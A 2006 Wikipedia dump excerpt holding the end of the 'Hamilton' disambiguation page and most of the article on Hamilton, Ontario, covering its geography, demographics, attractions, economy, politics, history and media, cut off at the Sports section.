*[[Hamilton, Bermuda]]
*[[Hamilton_Parish|Hamilton Parish]], Bermuda
*[[Hamilton, Leicester]], England
*[[Hamilton, New Zealand]]
*[[Hamilton, Ontario]], Canada
*[[Hamilton, Ontario (township)]], Canada (unrelated township)
*[[Hamilton, Tasmania]], Tasmania, Australia
*[[Hamilton, Victoria]], Victoria, Australia
*[[Hamilton Island]], [[Queensland]], [[Australia]]
*[[Hamilton]], New South Wales, Australia

=== Education ===
*[[Hamilton College]], New York, USA
*[[Hamilton Boys' High School]], New Zealand

=== Companies ===

*[[Hamilton Watch Company]]

==Miscellaneous==
*[[Hamilton (movie)]], a Swedish-produced movie based on the character [[Carl Hamilton]]
*[[Hamilton (Schooner)]] Schooner class ship during the [[War of 1812]]

[[Category:Scottish families]]
[[Category:Surnames]]
{{disambig}}

[[af:Hamilton]]
[[de:Hamilton]]
[[fr:Hamilton]]
[[io:Hamilton]]
[[it:Hamilton]]
[[nl:Hamilton]]
[[ja:ハミルトン]]
[[pl:Hamilton]]
[[pt:Hamilton]]
[[ru:Гамильтон]]
[[sv:Hamilton]]</text>
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  </page>
  <page>
    <title>Hamilton, Ontario</title>
    <id>14288</id>
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      <id>41989363</id>
      <timestamp>2006-03-03T01:53:30Z</timestamp>
      <contributor>
        <username>Fuhghettaboutit</username>
        <id>665998</id>
      </contributor>
      <minor />
      <comment>neigbouring---&gt;neighbouring, neigbourhoods---&gt;neighbourhoods</comment>
      <text xml:space="preserve">{{dablink|This article refers to the '''City of Hamilton''', Ontario. For the Township of Hamilton in Northumberland County see [[Hamilton, Ontario (township)]]. For the history of the current City of Hamilton before 1946, please see [[History of Hamilton, Ontario]].}}
{| border=&quot;1&quot; style=&quot;margin-left: 0.5em;&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;300px&quot;
|+&lt;font size=&quot;+1&quot;&gt;'''City of Hamilton, Ontario, Canada'''&lt;/font&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:hamiltonflag.PNG|135px]]
| [[image:hamiltoncoa.jpg|135px]]
|}
|-
| align=&quot;center&quot; colspan=&quot;2&quot; style=&quot;border-bottom:3px solid gray;&quot; | &lt;font size=&quot;-1&quot;&gt;''[[Motto]]: Together Aspire - Together Achieve''&lt;/font&gt;
|-
| style=&quot;background:#dcdcdc;&quot; align=&quot;center&quot; colspan=&quot;2&quot; | &lt;center&gt;[[Image:ontham.PNG|300px]]&lt;/center&gt;
|-
| [[Area]]:
| 1,117.11 sq. km.
|- style=&quot;vertical-align:top;&quot;
|[[Population]]

&amp;nbsp;- City ([[2001]])
&lt;br&gt;&amp;nbsp;- Canadian [[Census division|CD]] Rank
&lt;br&gt;&amp;nbsp;- Canadian Municipal Rank
&lt;br&gt;&amp;nbsp;- [[Density]]
|
&lt;br&gt; 490,268
&lt;br&gt; 662,401 (metropolitan area)
&lt;br&gt; 710,300 (2005 est.)
&lt;br&gt;Ranked 12th
&lt;br&gt;[[List of the 100 largest cities in Canada|Ranked 10th]]
&lt;br&gt;438.9/km²
&lt;br&gt;  
|-
| [[Time zone]]
| [[Eastern Standard Time Zone|Eastern]]: [[UTC]]-5
|-
| Latitude &lt;br&gt;Longitude &lt;br&gt;
| 43°16' N&lt;br&gt;79°54' W
|-
| td align = &quot;center&quot; colspan = &quot;2&quot; | [[Canadian House of Commons|MP]]s
|-
| td align = &quot;center&quot; colspan = &quot;2&quot; | [[Dean Allison]], [[Chris Charlton]], [[David Christopherson]], [[Wayne Marston]], [[David Sweet]]
|-
| td align = &quot;center&quot; colspan = &quot;2&quot; | [[Legislative Assembly of Ontario|MPP]]s
|-
| td align = &quot;center&quot; colspan = &quot;2&quot; | [[Marie Bountrogianni]], [[Andrea Horwath]], [[Judy Marsales]], [[Ted McMeekin]], [[Jennifer Mossop]]
|-
| [[List of mayors of Hamilton, Ontario|Mayor]]
| [[Larry Di Ianni]]
|-
| Governing body
| [[Hamilton City Council]]
|-
| td align = &quot;center&quot; colspan = &quot;2&quot; | [http://www.myhamilton.ca/myhamilton/CityandGovernment/ City of Hamilton]
|}

'''Hamilton''' is a city with over half a million inhabitants located in the [[Canada|Canadian]] province of [[Ontario]]. It is the 10th largest city in Canada. 

Its nicknames &amp;mdash; all relating to its waning days as a major industrial centre &amp;mdash; include the Ambitious City, Steeltown, the Hammer, Hammertown, and the Lunchbucket City. However, health care has outstripped heavy industry &amp;mdash; exemplified by the twin steel giants of [[Stelco]] and [[Dofasco]] &amp;mdash; as the largest employer. Moreover, the education, government, services and technology sectors have all dramatically developed as heavy industry has declined.

Also belying its unfounded reputation as cultural wasteland, Hamilton has built on its historical and social background. Unusual and interesting attractions include a flying museum ([http://www.warplane.com Canadian Warplane Heritage]), a stately residence of a premier of the Province of Canada ([[Dundurn Castle]]), a functioning [[nuclear reactor]] at [[McMaster University]], a horticultural haven ([[Royal Botanical Gardens, Ontario|Royal Botanical Gardens]]) and the [[Canadian Football Hall of Fame]].

==Geography and Climate==
Hamilton is located on the western end of the [[Niagara Peninsula]] and [[Lake Ontario]], and as such is sometimes known as ''Head of the Lake'' (not to be confused with [[Thunder Bay, Ontario|''Lakehead'']]). The two major physical features are [[Burlington Bay]] marking the northern limit of the city and the [[Niagara Escarpment]] running through the middle of the city across its entire breadth, bisecting the city into 'upper' to 'lower' parts.

The escarpment is in many places an almost vertical wall of limestone shale with many waterfalls and creeks falling over it; including [[Stoney Creek]], Redhill Creek, Grindstone Creek, Spencer Gorge Waterfall and Chedoke Creek &amp;mdash; flow over the Escarpment and into the Harbour or Lake Ontario. On average the mountain is 4-5km inland from the Lake Ontario shoreline and at its edge affords some spectacular views of the city and harbour. Outside of the city this feature is more commonly known as Hamilton Mountain, or to locals just &quot;the mountain&quot;. 

[[Burlington Bay]], part of Lake Ontario, also known as Hamilton Harbour, separates Hamilton from neighbouring [[Burlington, Ontario|Burlington]]. The harbour is enclosed, except for the ship canal entrance, by the land below the [[Burlington Skyway Bridge]] which are the Hamilton and Burlington beaches respectively. 

The climate of Hamilton is humid continental and relatively mild compared with most of Canada, albeit cold enough in winter. The average January temperature is  -3.6C (26.5F) but most days rise just above freezing making for slushly conditions when snow is present. Winter snowfall averages 113cm (44&quot;) with great year-to-year variation. The average July temperature is 22.5C (72.5F) and humidity is usually high during the peak of summer. Temperatures exceeding 34C (93F) occur but not with regularity. It might be noted that the climate of the lower city is in general much more sheltered and milder than on top of &quot;the mountain&quot;, which has a shorter growing season and, in winter, more [[snowsquall]]s. 

Summer rains can be heavy but in general severe weather is rare, one notable exception occurred [[November 13]], [[2005]] when a tornado that lifted off a school gymnasium roof injuring two students.  [[Environment Canada]] confirmed a F1 tornado struck the area, this was the latest date in any year that a confirmed [[Tornado]] touched down in Canada.

==Demographics==  
According to the mid-2001 census, the population estimates there were 662 401 people residing in Hamilton, located in the province of [[Ontario]], of whom 48.8 % were male and 51.2 % were female. Children under five accounted for approximately 5.8 % of the resident population of Hamilton. This compares with 5.8 % in Ontario, and almost 5.6 % for [[Canada]] overall.

In mid-2001, 14.2 % of the resident population in Hamilton were of retirement age (65 and over for males and females) compared with 13.2 % in [[Canada]], therefore, the average age is 37.8 years of age comparing to 37.6 years of age for all of Canada.

In the five years between 1996 and 2001, the population of Hamilton grew by 6.1 %, compared with an increase of 6.1 % for [[Ontario]] as a whole. Population density of Hamilton averaged 482.9 people per square kilometre, compared with an average of 12.6, for Ontario altogether.

At the time of the [[census]] in May 2001, the resident population of the Hamilton city authority had 490 268 people, but had 662 401 when encompassing the Greater Hamilton Area compared with a resident population in the [[province]] of [[Ontario]] of 11,410,050 people.

===Racial Breakdown===
Throughout the city, historic [[Ireland|Irish]] and [[United Kingdom|British]] influences are evident especially among street, names, city sectors, and racial make-up. According to [[Statcan]], over 1 in 3 Hamiltonians have [[British Isles]] origin. Ever since the 1800's and early 1900's, the city of Hamilton had massive increase in population mostly due to British and Irish settlers. However, large waves of other [[Europeans]] came in due to the world wars as well as economic prospects, in the burgeoning steel industry.

Even though Hamilton is largely White, the ethnic communities are diverse and include descendants of original [[United Kingdom|British]] and [[Irish people|Irish]] settlers, as well as [[Italian people|Italian]], [[Germany|German]], [[France|French]], [[Hungary|Hungarian]], [[Poles|Polish]], and eastern Europeans who settled during the city's early 20th-century industrial boom. This Metropolitan has the largest concentration of [[Serbians]] in [[Ontario]]. The eastern side of the city contains a large [[Asian]] community and the area has in recent years has seen exponential growth due to immigration.

*[[White]]: 582,355 or 90.7% 
*[[Asian]]: 13,780 or 2.1%
*[[Black]]: 10,830 or 1.6%
*[[Chinese people|Chinese]]: 8,455 1.2%
*[[mixed race]]: 6,760 or 1.0%
* (based on single responses)

The fastest growing groups in the city is the [[Asian]], [[mixed race]], and [[Poles|Polish]]. Many immigrants from [[India]] and [[Pakistan]] are often settling, not in the [[city centre]], but in suburban communities of Hamilton, like the community of [[Stoney Creek]]. The [[mixed race]] population is quickly growing because interracial marriages especially between [[Whites]], and [[Blacks]] are increasingly common.

===Religious Groups===
[[Christianity]] is the main religion in Hamilton. [[Protestantism]] is barely ahead of [[Catholicism]] and is expected to decline, while [[Roman Catholicism]] has strengthened due to mostly Eastern European and [[Filipino people|Filipino]] population growth.

*[[Protestant]]: 242,940 or 37.0%
*[[Roman Catholic]]: 232,435 or 35.4%
*other [[Christian]]: 32,760 or 5.0%
*[[Muslim]]: 12,880 or 1.9%
*[[Buddhist]]: 4,725 or 0.6%

===Old Hamilton===
The term &quot;old city of Hamilton&quot; is used throughout this article to describe the city before amalgamation in 2001, which then had 331,100 residents.

Downtown began and remains around Gore Park and the intersection of King and James Streets. Central Hamilton extends from the base of the Mountain north to Barton Street, west to Chedoke Creek or Dundurn Street, and east to approximately Wentworth Street or Sherman Avenues. West Hamilton or the west end begins at Dundurn Street or Chedoke Creek. East Hamilton or the east end begins at approximately Ottawa Street or Kenilworth Avenue. North Hamilton or the north end begins at Barton Street or the [[Canadian National Railways|CN]] tracks.

As city limits expanded to include the Mountain, the [[retronym]] for the city below the Escarpment became the Lower City (now often just referred to as downtown). The east/west divide line for the mountain is Upper James Street, and the east/west divide line for downtown is James Street. The south Mountain begins at approximately Limeridge Road or the [[Lincoln Alexander|Lincoln M. Alexander Expressway]].

For other former municipalities of Hamilton-Wentworth Region, before amalgamation, please consult: [[Stoney Creek|City of Stoney Creek]], [[Dundas, Ontario|Town of Dundas]], [[Flamborough, Ontario|Town of Flamborough]], [[Ancaster, Ontario|Town of Ancaster]] and [[Glanbrook|Township of Glanbrook]]. They have all maintained their identities as neighbourhoods and municipal government [[ward (politics)|wards]] in new Hamilton.

==Attractions==
[[image:hamilton-copps.jpg|295px|thumb|Copps Coliseum]]
Despite its reputation as a blue-collar, lunch-bucket town, Hamilton has a large variety of historical, cultural and educational attractions in addition to more conventional or lowbrow ones.

===Historical attractions===
[[image:Hamilton_dec05_2005.JPG|300px|thumb|A view of Hamilton's downtown looking east near the [[Hamilton Spectator]].]]
* [http://www.warplane.com/ Canadian Warplane Heritage], static and flying museum, Mount Hope airport
* [[Dundurn Castle]], including the Hamilton Military Museum and Dundurn Park, west end
* [http://www.city.hamilton.on.ca/culture-and-rec/MUSEUMS/steam/default.asp Hamilton Museum of Steam and Technology], east end
* [[Royal Hamilton Light Infantry]] Heritage Museum, downtown
* [http://www.city.hamilton.on.ca/culture-and-rec/MUSEUMS/whitehern/default.asp Whitehern Historic House &amp; Garden], downtown 
* [http://www.fwio.on.ca/Contribute/erland_lee/erland_lee.asp/ Erland Lee House], birthplace of Women's Institutes, Upper Stoney Creek
* [http://www.battlefieldhouse.ca/ Battlefield House Museum], Stoney Creek

===Cultural attractions===
* [http://www.artgalleryofhamilton.on.ca/ Art Gallery of Hamilton], downtown
* [http://www.mcmaster.ca/museum/ McMaster Museum of Art], west end 
* [http://www.hecfi.on.ca/hp/hamplace.htm/ Ron V. Joyce Centre for the Performing Arts at Hamilton Place], downtown
* [http://www.theatreaquarius.org/ Theatre Aquarius], downtown
* [http://www.web.net/~owahc/ Ontario Workers Arts and Heritage Centre], north end
* [http://www.hamiltontheatre.com/ Hamilton Theatre Inc], musical theatre
* [http://www.hamilton.ca/culture-and-rec/MUSEUMS/children's/default.asp Hamilton Children's Museum], east end
* [http://www.greenventure.ca Green Venture EcoHouse], east end
* [http://www.brottmusic.com Brott Music Festival] Hamilton, Dundas, Ancaster, Burlington
* [http://www.nationalacademyorchestra.com National Academy Orchestra of Canada] Hamilton, Dundas, Ancaster, Burlington

===Outdoor attractions===
{{seealso|Hamilton Conservation Authority}}
* [http://www.hamiltonwaterfront.com/ Hamilton Waterfront], Hamilton Harbour
* [http://www.hamiltonnature.org/localspecies/waterfalls_intro.htm Hamilton's 66 Waterfalls], Along Escarpment
* [[Royal Botanical Gardens, Ontario|Royal Botanical Gardens]], west end [http://www.rbg.ca/]
* [http://www.conservationhamilton.ca/parks/visit/westfield.asp Westfield Heritage Centre], Flamborough
* [[Bruce Trail]], Stoney Creek, Hamilton, Dundas, Flamborough
* [http://www.city.hamilton.on.ca/Parks/Trails/HamBran.asp Hamilton to Brantford Rail Trail], Hamilton, Dundas, Ancaster
* [http://www.conservationhamilton.ca/parks/visit/dundas_valley.asp Dundas Valley Conservation Area], Dundas

===Educational attractions===
* [[McMaster University]], west end [http://www.mcmaster.ca/]
* [[Mohawk College]], Mountain [http://www.mohawkcollege.ca/homepage.html/]
* [[Hillfield Strathallan College]], Mountain [http://www.hillstrath.on.ca/]
* [http://www.redeemer.on.ca/ Redeemer University College], south-west Mountain
* [http://www.dvsa.ca/ Dundas Valley School of Art], Dundas
* [http://georgespvanier.csdcso.on.ca/ École secondaire Georges-P.-Vanier], west end
* [http://pavillondelajeunesse.csdcso.on.ca/ École élémentaire Pavillon de la jeunesse]
* [[Columbia International College]] [http://www.cic-TotalCare.com], west end

===Popular attractions===
(see also '''Sports''' below)
* [http://www.hessvillage.com/ Hess Village], a popular summer patio hangout. Many bars, clubs and restaurants feature live music and attractions all year round. Hess Street, downtown.
* [[African Lion Safari]], Flamborough
* [http://www.flamborodowns.com/ Flamboro Downs], [[horse racing]] as well as [[car racing]], Flamborough
* [http://www.footballhof.com Canadian Football Hall of Fame], downtown
* [http://www.hamrca.on.ca/parks/visit/confederation.asp Confederation Park], featuring water park, east end, Stoney Creek

==Economy and environment==
===Industrial economy and environment===
By the [[1940s]], the ecological cost of [[pollution]] had taken its toll on Hamilton: heavy metals made fish from the Bay inedible, air pollution made breathing difficult and industrial dumps (notably the Lax lands) contaminated land. People recognized there was a problem, but two decades of [[Great Depression|economic depression]] and [[Second World War|war]] left them with no stomach to face the costly investments and social changes to fix it.

Veterans returned to the factories just in time to see the founding strike of Local 1005 of the [[United Steelworkers of America]] at [[Stelco]], one of four major ones in [[1946]]. Labour peace ensured by the [[Rand formula]], established by Mr. Justice Ivan Rand when he settled the [[Ford Motor Company|Ford]] strike in [[Windsor, Ontario|Windsor]], allowed the industrial economy to grow. [[Studebaker]] set up shop in Hamilton, shutting down in [[1966]] as its last car factory.

Despite the promise shown in the booming [[1960s]], signs of trouble were beginning to show. The Harbour dredging scheme (including its associated political scandal) and reports by the [[International Joint Commission]] revealed that a few more decades of pollution had all but destroyed the marine environment.

In the early [[1980s]]. Hamilton had entered the economic downturn common to most steel towns in the developed world, such as [[Bethlehem, Pennsylvania]], but survived relatively well. But a couple of bitter strikes at [[Stelco]] did not help matters. The days of heavy industry were numbered.

In the last decade, Hamilton's heavy industry continued to decline &amp;mdash; a fact highlighted when [[Stelco]] recently filed for [[bankruptcy]] protection, though Stelco has returned to profitability in more recent quarters. Non-unionized [[Dofasco]] is doing only somewhat better. However, decreased industrial activity and increased pollution control measures have combined to somewhat increase water and air quality, and to allow Hamilton to showcase its fine natural attributes in a better light. For those employed in or relying on the industrial sector, it is grim news indeed.&lt;br&gt;
As of today December 18, 2005 Stelco is still in Bankruptcy protection. Dofasco getting a buyout or selling it from a country overseas.

===Cultural economy===
As the industrial economy has faltered, the local economy by necessity became much more diversified. However, this process was made possible by decisions taken as early as the 1930s as discussed above.

Attempts at nourishing and spreading cultural economic activities paid off. [[Dundurn Castle]] was refurbished as Centennial project. Local TV station CHCH introduced Canadians to ''[[Smith &amp; Smith]]'', which featured [[Steve Smith (comedian)|Steve]] and Morag Smith (the former better known from his stint as [[The Red Green Show|Red Green]]). Hamilton became a moderately important film and television adjunct of the [[Toronto, Ontario|Toronto]] film market.

Although never entirely out of the music eye, Hamilton gave birth or havens to a number of successful musicians of various genres over the years. Jazz-[[blues music|blues]] musicians The Washingtons were popular in the 1940s, and brother [[Jackie Washington]] continues to perform. [[folk music|Folksinger]] [[Stan Rogers]] was born in [[Dundas, Ontario|Dundas]], where he lived until his death in 1982. The Hamilton Philharmonic Orchestra under [[Boris Brott]], although often troubled financially since his departure as Music Director in 1990, achieved wide renown as one of Canada's finest orchestras. The eponymous [[Brott Music Festival]], founded in 1988 is Canada's largest orchestral music festival and is a cornerstone cultural activity of the summer months. It joins the Art Gallery of Hamilton, the Philharmonic, Theatre Aquarius and Opera Hamilton as one of the City's the leading arts organizations. 

Among the rock-pop acts formed in Hamilton or by Hamiltonians were: [[Teenage Head]], [[Forgotten Rebels]], [[Junkhouse]], [[Sarah Harmer]], and [[Appleton (music duo)|Appleton]]. Furthermore, [[Daniel Lanois]], a solo artist in his own right and producer for [[U2]], lived in Hamilton and recorded at Grant Avenue Studios. The [http://www.sonicunyon.com/indexok Sonic Unyon] label started and fostered the Hamilton sound in the early 1990s and continues today as one of Canada's most successful independent record labels and distributors.

Hamilton hosted several cultural and craft fairs since the 1970s, notably Festival of Friends and Earthsong, which made it a major tourist destination. Unfortunately, these [[fair trade]] venues and celebrators of [[world music]] declined in quality and ultimately disappeared, and their replacements have yet to find their niches.

===Other economy===
The growth of post-secondary education &amp;mdash; heralded by the arrival of [[McMaster University]] from [[Toronto, Ontario|Toronto]] in 1930 and the foundation of [[Mohawk College]] in 1967 &amp;mdash; led to numerous direct and indirect jobs in education and research. The addition of a medical school at McMaster in the late 1960s built upon local health care strengths to such an extent that health care has outstripped industry as the region's primary employer.

A business collaboration between a Canadian hockey player and a retired Hamilton policeman began quietly in [[1965]] at 64 Ottawa Street North. After the player's untimely death in [[1974]], an ambitious expansion scheme of the retiree's led [[Tim Hortons]] Donuts to become an enormously successful food retailer selling [[donuts|doughnuts]], [[coffee]] and light snacks. Founder [[Ron Joyce]] sold the business to the [[Wendys]] fast food empire, but not before bestowing his name on Hamilton Place.

[[Image:hamilton-cityhall.jpg|thumb|right|280px|Hamilton's current City Hall]]
An enthusiasm for [[urban renewal]] gripped Hamilton, as it did most other cities in North America, in the [[1960s]] and early [[1970s]]. Historic buildings, including Old City Hall and the original farmers market, were destroyed to make way for wider streets, more parking and large [[shopping malls|shopping centres]]. Hamilton's penchant for one-way streets and synchronized traffic lights, only recently reconsidered and slightly modified, date from just before this period.

Outside the industrial sector, a brutal recession from the late 1980s to the mid-[[1990s]], combined with the accelerated tendency to relocate commercial activity in the cheaper suburbs, devastated the downtown core, and many small businesses. Qualified or failed attempts at reviving the [[central business district]] included the restoration of the Gore Park fountain, the proposed conversion of vacant office space into [[condominiums|condominium]] apartments and allowing two-way traffic on certain downtown streets for the first time in half a century.

More dramatic and successful have been the greening projects of Hamilton undertaken since the 1990s: The Lax lands on Bay Street North were capped with clay and landscaped into a beautiful park, remediation began at Cootes Paradise in west Hamilton, a waterfront trail linking these two places was built, abandoned [[railroads|railway]] right-of-ways in both the east end and west end were converted to multi-use paths.

==Politics==
Politically, Hamilton is known for producing groundbreaking, colourful and left-wing politicians &amp;mdash; illustrated by the polarizing and erratic career of [[Sheila Copps]]. Locally, though, the big political stories have included the controversial amalgamation of Hamilton with its suburbs in 2001, and the destruction of green space around the Red Hill Valley to make way for the [[Red Hill Creek Expressway]].

===Municipal politics===
Hamilton has had a city charter since [[1846]]. In [[1974]], it combined with the Wentworth County and the latter's other [[towns]] and [[township (Canada)|townships]] to form the two-tier municipal federation of [[Hamilton-Wentworth Regional Municipality|Regional Municipality of Hamilton-Wentworth]]. Portions of the former county became part of [[Burlington, Ontario|Burlington]] and [[Cambridge, Ontario|Cambridge]].

The old city of Hamilton was represented at regional council by one councillor each from its two-councillor wards; the other municipalities by their mayors and an additional regional councillor each. The regional chair was appointed by the [[Ontario]] government rather than by the residents or the regional councillors. After a successful drive to make the office elective, the point became moot in [[2001]].

Municipal powers were divided or shared in turn by the city and the county (or its constituent parts besides Hamilton). For instance, the city and county continued their separate [[school districts|boards of education]], while the [[police|police service]] and [[welfare|social services]] became regional responsibilities, and [[firefighters|fire service]] and business licensing remained second-tier responsibilities.

In [[2001]], over the vociferous but hitherto futile objections of rural and suburban voters, the former two-tier Hamilton-Wentworth region was amalgamated into a one-tier city called Hamilton like one of its predecessor governments. New ward boundaries coincided substantially or exactly with old Hamilton's wards and the former municipal boundaries of its suburbs.

As in most Ontario cities, incumbent councillors and mayors tend to be re-elected in municipal elections marked by low turnout. However, in the 1940s, Hamilton City Council was presided over by [[Samuel Lawrence|Sam Lawrence]], a unionized worker called the Labour Mayor. However, for most of the time, moderates of the centre-right or centre-left &amp;mdash; such as [[Lloyd Douglas Jackson|Lloyd D. Jackson]] in the 1960s and [[Robert Maxwell Morrow|Robert Morrow]] in the 1980s &amp;mdash; presided over council. 

[http://www.hpl.ca/Local/SPCOLL/mayor48.shtml Victor &quot;Vic&quot; Copps] was a popular centre-left mayor in the [[1970]]s. While taking part in the [http://www.aroundthebayroadrace.com Around the Bay Race] in [[1976]], he suffered a stroke which incapacitated him. His wife [[Geraldine Copps]] served as a city councillor after that unfortunate event. [[Copps Coliseum]] is named after him rather than his daughter, [[Sheila Copps]].

===Provincial politics===
New Hamilton has historically been represented by four to six MPPs or MLAs in the [[Legislative Assembly of Ontario|Ontario legislature]]. Old Hamilton was always suspicious of its larger neighbour and provincial capital, [[Toronto, Ontario|Toronto]] and had a reputation for being highly [[trade unions|unionized]]. These factors combined to electing working class and left wing MPPs, often from the [[New Democratic Party|New Democratic]] and [[Liberal Party of Ontario|Liberal]] parties, who frequently achieved notoriety if not power outside Hamilton. 

Liberal MPP [[Lily Munro]] was caught in the [[Patti Starr]] scandal which contributed to Premier [[David Peterson|David Peterson's]] electoral defeat in [[1990]]. So often under- or unrepresented in at Queen's Park, the old city of Hamilton boasted that each of its three MPPs were ministers in the [[New Democratic Party|NDP]] government of [[Bob Rae]] in the [[1990s]].

In contrast, the former suburbs and rural precincts of old Hamilton voted for less radical and less noteworthy [[Progressive Conservative Party of Ontario|Conservative]] representatives, including government backbenchers for Rae's successor, [[Mike Harris]]. The Harris government's forced amalgamation of Hamilton was highly controversial among suburban and urban Hamilton voters. It also made provincial riding boundaries and names automatically coincide with those at the federal level, reducing new Hamilton's representation at Queen's Park, the Provincial Legislature, in Toronto, by one member.

===Federal politics===
Progressive Conservative Prime Minister [[John Diefenbaker]] appointed the late [[Ellen Fairclough]] as Secretary of State, making her Canada's first female [[Cabinet of Canada|cabinet minister]], in [[1957]]. A downtown provincial office building is named in her honour.

[[John Munro]], a [[Pierre Trudeau|Trudeau]] era Liberal cabinet minister and a sometime husband of [[Lily Munro]], was the subject of political innuendo and criminal allegations dismissed after an [[Royal Canadian Mounted Police|RCMP]] probe. He came in fourth in the first mayoral election for amalgamated Hamilton. The Hamilton International Airport was renamed in his honour.

Progressive Conservative Prime Minister [[Joe Clark]] appointed [[Lincoln Alexander|Lincoln &quot;Linc&quot; Alexander]], the first [[Black Canadian]] [[Parliament of Canada|MP]], as Minister of Labour in his short-lived government. Alexander later became [[Lieutenant Governor of Ontario]], another first for blacks in Ontario and Canada. Ironically for a man who never learned to drive, Linc was honoured by having the long-awaited Mountain east-west expressway named after him.

[[Sheila Copps]], daughter of Victor and Geraldine, was a [[Liberal Party of Canada|Liberal]] candidate, first for the Ontario legislature and then for the House of Commons, where she represented Hamilton East from [[1984]] until [[2004]]. She was a leading and vociferous member of the [[Liberal Party of Canada Rat Pack]] while the Liberals were in opposition until [[1993]]. An early and strong supporter of the leadership of [[Jean Chrétien]], she served in several posts including [[Deputy Prime Minister of Canada|Deputy Prime Minister]]. When [[Paul Martin Jr.|Paul Martin]] assumed the prime ministership, Copps' star waned as she was excluded from cabinet and lost her bitter nomination campaign to [[Tony Valeri]] in her re-districted riding.

In the [[Canadian federal election, 2006|2006 federal election]], all three of Hamilton's main urban ridings were won by the [[New Democratic Party of Canada|New Democratic Party]] candidates, [[Wayne Marston]], [[David Christopherson]] and [[Chris Charlton]]. The two predominantly rural ridings were both won by [[Conservative Party of Canada|Conservatives]], [[David Sweet]] and [[Dean Allison]].

==History==
''This section summarizes the full entry found at'' [[History of Hamilton, Ontario]]'', and stops in 1945.''

===History to 1913===
The [[Iroquois]] Confederacy or Five (later Six) Nations first occupied the land now covered by Hamilton. French explorers made transient visits to the area, but major European settlement did not begin until [[United Empire Loyalists]] arrived around the [[American Revolution]] and [[War of 1812]]. In the latter conflict, Britain defeated American invaders at the [[Battle of Stoney Creek]] in what is now Hamilton.

Immediately after the war, in 1815, [[George Hamilton (1788-1836)|George Hamilton]] laid out a townsite in Barton Township which eventually outstripped close rivals like [[Dundas, Ontario|Dundas]]. Hamilton was incorporated as a [[police village]] in [[1833]] and as a city in [[1846]]. 

Hamilton was part of (and served as seat for) [[Wentworth County, Ontario|Wentworth County]] since its creation in 1816. By 1851, the county acquired its final composition of townships: [[Ancaster, Ontario|Ancaster]], Barton, [[Flamborough, Ontario|Beverly]], [[Glanbrook|Binbrook]], [[Flamborough, Ontario|East Flamborough]], [[Flamborough, Ontario|West Flamborough]], [[Glanbrook|Glanford]] and [[Stoney Creek|Saltfleet]]. 

In the second half of the [[1800s]], Hamilton became identified and self-identified with [http://collections.ic.gc.ca/industrial/ heavy industry], billing itself as the Ambitious City and the [[Birmingham, England|Birmingham]] of Canada. It became a hotbed of working class activism, and in 1872 the cradle of the Nine Hour Movement which urged the universal limitation of working hours to nine per day. 

The easy access to [[limestone]] from the [[Niagara Escarpment]], coal mined in [[Appalachia]], iron ore mined from the [[Canadian Shield]] and export markets through the [[Great Lakes]]-[[St. Lawrence River|St. Lawrence]] system made Hamilton an important [[iron]] and [[steel]] producing city. Diverse steel works combined to form the [[Stelco|Steel Company of Canada]] in 1910 and the [[Dofasco|Dominion Steel Casting Company]] in 1912.

===History 1914&amp;ndash;1945===
Hamiltonians participated in the [[First World War]] as combatants, but due to [[Sam Hughes|Col. Sir Sam Hughes]]' mobilization plans for the [[Canadian Expeditionary Force]], there were no major battles associated purely with Hamiltonians. Heavy industry boomed as the Canadian and British governments' war-driven demands for steel, arms, munitions and textiles increased. War profiteering by manufacturers dampened some of the mood, but generally Hamiltonians pulled together.

After the Great War the school-building boom continued, including Memorial School, [[Edmund Henry Hynman Allenby, 1st Viscount Allenby|Allenby School]] and [[Horatio Herbert Kitchener, 1st Earl Kitchener of Khartoum|Earl Kitchener School]]. In the [[Roaring Twenties]] hundreds of low-rise apartment buildings, of three to four stories and six to ten units, grew up across the city, especially in the east end. The [[Great Depression]] of the [[1930s]] hit Hamilton hard, with the simultaneous and prolonged decline in domestic consumption and [[international trade]] in finished industrial goods and building supplies dried up.

When the [[Second World War]] began, Hamiltonians like most Canadians welcomed the spike of economic demand but not its cause. In this war, the [[Canadian Army]] mobilized its territorially recruited militia units. As a consequence, Hamilton lost hundreds of its young men on a single day in 1942, when the [[Royal Hamilton Light Infantry]] [http://www.rhli.ca/] was effectively wiped out at [[Dieppe Raid|Dieppe]]. Read more of [http://warmuseum.ca/cwm/newspapers/intro_e.html The Hamilton Spectator's] coverage of the war. Hamilton also gave [[The Argyll and Sutherland Highlanders of Canada (Princess Louise's)]] to the cause.

==Media==
===Radio===
* AM 820 - [[CHAM (AM)|CHAM]], [[country music|country]]
* AM 900 - [[CHML (AM)|CHML]], [[news]]/[[talk radio|talk]]
* AM 1150 - [[CKOC (AM)|CKOC]], [[oldies]]
* FM 93.3 - [[CFMU-FM|CFMU]], [[McMaster University]] [[campus radio]]
* FM 94.7 - [[CIWV-FM|CIWV]], (&quot;The Wave&quot;), [[smooth jazz]]
* FM 95.3 - [[CING-FM|CING]], (&quot;Country 95.3&quot;), [[country music|country]]
* FM 101.5 - [[CIOI-FM|CIOI]], [[Mohawk College]] [[campus radio]]
* FM 102.9 - [[CKLH-FM|CKLH]], (&quot;K-Lite FM&quot;), [[adult contemporary]]
* FM 107.9 - [[CJXY-FM|CJXY]], (&quot;Y108&quot;), [[classic rock]] (licensed to [[Burlington, Ontario|Burlington]] but marketed toward Hamilton)

===Television===
* Channel 11: [[CHCH-TV|CHCH]], [[CH (television system)|CH]]
* Channel 14: &quot;Cable 14&quot;
* Channel 45: [[CKXT-TV|CKXT-1]], &quot;Sun TV&quot; (from [[Toronto]])

[[CTV television network|CTV]], [[CBC Television|CBC]], [[Télévision de Radio-Canada|SRC]] and [[TVOntario]] service is received directly from the network's [[Toronto]] transmitters; [[Global Television Network|Global]] service is received from [[CIII-TV|CIII]]'s rebroadcaster in [[Paris, Ontario|Paris]].

===Print===
The city's main daily newspaper is the ''[[Hamilton Spectator]]''.

==Sports==
Over the years and into the present, Hamilton has been prominent in several fields of sporting ventures and venues.

